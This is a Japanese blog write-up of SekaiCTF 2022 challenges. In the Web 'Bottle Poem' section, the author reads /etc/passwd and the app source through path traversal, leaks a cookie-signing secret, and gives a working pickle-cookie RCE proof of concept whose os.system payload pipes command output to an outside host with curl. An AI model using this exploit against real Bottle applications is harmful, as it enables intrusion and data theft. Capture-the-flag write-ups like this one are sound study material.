よーでんのブログ

One for All,All for わんわんお!

SekaiCTF 2022

  • [Web] Bottle Poem
  • [Misc] Console Port
  • [PPC] Let's Play Osu!Mania
  • [Misc] Sus
  • [Reverse] Perfect Match X-treme

writeup

Webだけは詳しく書きます。

[Web] Bottle Poem

Come and read poems in the bottle.

No bruteforcing is required to solve this challenge. Please do not use scanner tools. Rate limiting is applied. Flag is executable on server.

Author: bwjy

Discordでめっちゃ騒がれてるのを眺めながら解いてた。
アクセスすると、リンクが三つ。どれもWilliam Blakeさんのタイトルになっている。

Bottle Poem - top

試しに Spring を開いてみると、歌詞がtxtで表示される。内容は関係なさそう。

Sound the Flute!
Now it's mute.
...

この時のURLは /show?id=spring.txt となっており、いかにもパストラバーサルという感じ。
試しに id=/etc/passwd とかやってみると /etc/passwd が盗めた。

Bottle Poem - /etc/passwd

さて、この問題はここからが本題。
パストラバーサルはできたが、ソースコードも無いのでflagがどこにあるのかわからない。

guessかと思ってflag.txtとか/flagとかやっても何もなし。
パストラバーサルで思いつく限りのファイルを見ていく時間が発生していた。

/proc/self/cmdline から、python3 -u /app/app.py という情報が手に入る。
/app/app.py で問題のソースコードが手に入る。

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re

@route("/")
def home():
    return template("index")

@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile

@error(404)
def error404(error):
    return template("error")

@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

ソース読んだ感じ、判明したのが以下。

  1. bottle というフレームワークを使ってることがわかる。
  2. from config.secret import sekai 相対パスimport している。
    • secretd "/sign"cookie 生成で使ってる。
  3. bottletemplate という関数でテンプレートファイルをよしなにしてそう。
    • index , error , guest , admin の4つのテンプレートファイルがある
  4. @route("/sign") という新しいパスが見つかる。
    • guest と admin の二つの権限次第で返ってくるテンプレートファイルが変わる。

一つずつ解決していく。

a - bottle

bottleの深掘りはめんどそう。もっと怪しいのが何個かあるので、とりあえずスルー

b - secret

from config.secret import sekai という書き方から相対パスがわかるので、パストラバーサルで盗んじゃう。

/app/config/secret.py でseretの中身が判明する。
このsecretでcookieを生成しているので、後々使えそう。

sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

c,d - template

index , error , guest , admin という名前のテンプレートファイルがある。
bottle の template 関数の挙動がわかれば、cookieの改ざんをせずにパストラバーサルでadminのテンプレートファイルも盗めそう。

bottle のドキュメントを漁っていたら丁度よさそうなのを見つけた。

bottle - templates

bottlepy.org

./views/{template の第一引数}.tpl という名前のテンプレートファイルが自動で開かれるっぽい。
/app/views/index.tpl で盗もうと試みるが、ファイルがない。

もうちょっと調べてたら bottle のソースが見つかったのでテンプレート周りの処理を見てみる。

class BaseTemplate(object):
    """ Base class and minimal API for template adapters """
    extensions = ['tpl', 'html', 'thtml', 'stpl']

bottlepy.org

['tpl', 'html', 'thtml', 'stpl'] の4つの拡張子のどれかだったら自動で開かれそうな雰囲気がある。
試しに /app/views/index.html でアクセスしてみたらテンプレートファイルが盗めた。

さっきいかにも怪しく見えた admin のテンプレートファイルを盗む。

/app/views/admin.html

Hello, you are {{name}}, but it’s useless.

name 変数は admin が入るはずなので、本当に特に何もないっぽい。残念。

(なぜか error のテンプレートだけは見つからなかった。適当に存在しないページをGETすると「Critical error while processing request: /404」と表示される。これはデフォルトの処理エラーっぽい。)

再び a - bottle

手詰まりになってしまったので、bottle の深掘りをしていくことにする。

余談だが、パストラバーサル/proc/self/environ環境変数などからコンテナを特定、pipのインストール先ディレクトリを特定できたので、bottleのソースを盗んでバージョンも特定した。

/usr/local/lib/python3.8/site-packages/bottle.py

__version__ = '0.12.23'

bottle のソースが変更されてないことも確かめることができたので、安心してroute, run, template, request, response, error あたりのドキュメントを読み込んでいく。

cookieのドキュメントを読んでいるときに、かなり興味深い一文が見つかった。

Signed cookies may store any pickle-able object and are cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers.

bottlepy.org

pickle-able という部分。pythonでpickleといえば、RCEだ。
pickleは過去にwriteupにも書いてたので結構記憶に残っていてすぐにピンときた。

y0d3n.hatenablog.com

cookieあたりのソースを見ても pickle.loads とかしてるので行けそうだ。

bottlepy.org

今回は {"name": "guest"} の部分を {"name": cmd} にすることでコマンド実行ができた。
コマンド実行後の結果は返ってこないので、curlでwebhook系サーバに送る。

mrtc0.hateblo.jp

このあたりを参考にPoCを書く。

import pickle, base64, hmac, requests, sys, os

sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
class cmd(object):
    def __reduce__(self):
        payload = 'ls | curl {url} -X POST -d @-'
        return (os.system, (payload,))

#session = {"name": "guest"}
session = {"name": cmd()}
p = pickle.dumps(('name', session))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new(sekai, msg).digest())
c = '!'+sig+'?'+msg
print c
print requests.get("{url}", cookies=dict(name=c)).text

ls / したら /flag が見つかる。
cat /flagしてもうまくいかなくて「??」になったが、file /flagしたら実行ファイルだった。問題文の"executable"はそういうことか。
/flag で実行すればflag。

思ったよりsolve数結構多くてびっくりしてました。

[Misc] Console Port

– Hey Miku, here’s the manual. Can you help me port the game to consoles?
– Sure, no problem.

[ 1 week later... ]

– Hey Miku, how’s the porting going?
– I just finished it today, wanna take a look?
– Sure, which console did you port it to?
– Huh...? What do you mean “which console”?

Author: pamLELcu

ゲームをconsoleに移植したらしい。 (最初、マニュアルに日本語があることに気付かずにちょっと苦労してた)

www.bombmanual.com

マニュアル曰く、「完全爆弾解除マニュアル:KEEP TALKING and NOBODY EXPLODES」というタイトルらしい。
結構複雑な手順を踏んで、爆弾を解除する。有名なゲームなのかな?

問題文にsttyコマンドで接続する方法が書かれてるので、とりあえず言われるがまま接続する。

Console Port

(WindowsターミナルからWSLをいじってるが、WSLのアプリから直接いじると文字化けしてとてもプレイできない)

あとはマニュアル通りに爆弾を解除するだけ。

Who's on first に限り、ボタンが英語なのでマニュアルは英語の方を見ないと解けない。 気合いで爆弾を解除したらflagをくれた。

[PPC] Let's Play Osu!Mania

ルールがPDFで渡される。英語PDFだいぶ厳しい ><

以下のような入力が与えられ、音ゲーの譜面のように見る。

  1. n 最初に行数の指定
  2. | は端っこを意味する。意味なし。
  3. - はノーツ (タップ)
  4. -の後に# が来た場合、長押し。再度-が来たら終了。(ホールド)
  5. (空白)は何もなし
13
|-- -|
| #  |
| #- |
| #  |
| - -|
|-   |
| - -|
|    |
|  --|
|- # |
| -# |
|  # |
|  - |

出力はオブジェクトの総数(タップ・ホールド)の個数。
タップはシンプルに1個ずつカウント。
ホールドは - で始まって # が間にあり、 - で終わるまでを 1 としてカウントする。
今回の入力例の場合、12が答え。

Osu

いい感じに数える方法を考える。

n-1行目まで、次が#でない-をカウントし、n行目は-をカウントすることで解ける。
言語にgoが用意されてて助かった。。

package main

import (
    "bufio"
    "fmt"
    "os"
    "strconv"
    "strings"
)

func main() {
    in := bufio.NewScanner(os.Stdin)
    in.Scan()
    var n int
    n, _ = strconv.Atoi(in.Text())

    a := make([][]string, n)
    for i := 0; i < n; i++ {
        a[i] = make([]string, 6)
        in.Scan()
        for j, v := range strings.Split(in.Text(), "") {
            a[i][j] = v
        }
    }

    var cnt int
    for i := 0; i < n-1; i++ {
        for j := 1; j < 6-1; j++ {
            if a[i][j] == "-" {
                if a[i+1][j] != "#" {
                    cnt++
                }
            }
        }
    }
    for j := 1; j < 6-1; j++ {
        if a[n-1][j] == "-" {
            cnt++
        }
    }

    fmt.Println(cnt)
}

[Misc] Sus

Someone sent this file to me, claiming he got it from a SEKAI where the palette is not colorful but purple. I had no idea what he was talking about – I only find it really sus.

Author: pamLELcu

SEKAI.sus というファイルが渡される。
#{数字5桁}: {数字} という形式でかなり長い。

#00008:01
#00114:12120000
#00118:0026000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
#00116:0000000000000000001200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
#00112:00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000121600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
#00212:22
...

全く意味がわからなかったのでsusを調べてたら、音ゲーの譜面にたどり着いた。
「sus 創作譜面」や「SusPlayer」など。

SusPlayerのようなソフトがあればsusを読み込むことができそうだ。

調べてるとChedというのが見つかった。

github.com

sus形式のエクスポートをサポートしてるソフトウェアのようだが、プラグインで「プロセカのテクスチャで表示」と「susを読み込む」という二つが用意されてる。

wiki.purplepalette.net

恐る恐るダウンロードして環境を整えたらsusが開けた。
デフォルトではCHUNITHMの表示のようだ。

プラグインでプロセカ表示にしたら見やすかった。

Sus

譜面でflagが書かれている。(2Zだと思ってincorrect喰らってた)

[Reverse] Perfect Match X-treme

Can you qualify Fall Guy’s Perfect Match and get the flag? Author: sahuang & enscribe

Perfect_Match_X-treme.zipが渡される。Unityっぽくてファイルがかなり多い。

とりあえずgrepで平文保存をお祈りしてたらバイナリファイルが引っかかった。

$ grep -rwn SEKAI .
Binary file ./PerfectMatch_Data/level0 matches

stringsしてみる。

$ strings PerfectMatch_Data/level0
...
L>333?
L>333?
SEKAI{F4LL_GUY5_
fff?fff?
Qualified!
1LL3G4L}
H3CK_15_
Horizontal
Vertical
Submit
Cancel
Analog X
Analog Y
=333?
Jump
Sprint

flagっぽいのが見える。SEKAI{F4LL_GUY5_1LL3G4L} かと思ったが、fall_guys_illegalだとかなり不味い文章なので、近くに見えてた H3CK_15_ を間に挟んだら正解だった。

Survey

39(ミク)点のSurvey。
筆記体のflagを読むのが一番難しかった。(送信後のページにテキストで書いてあるのが見えた。即閉じたので見間違いかもしれないけど)

Survey

Console PortとOsu、Surveyで久しぶりに言語の違いを感じた。
翻訳ツールが使えない・使いにくい問題は辛い。。

とはいえBottle Poemかなり楽しかったです。お疲れ様でした。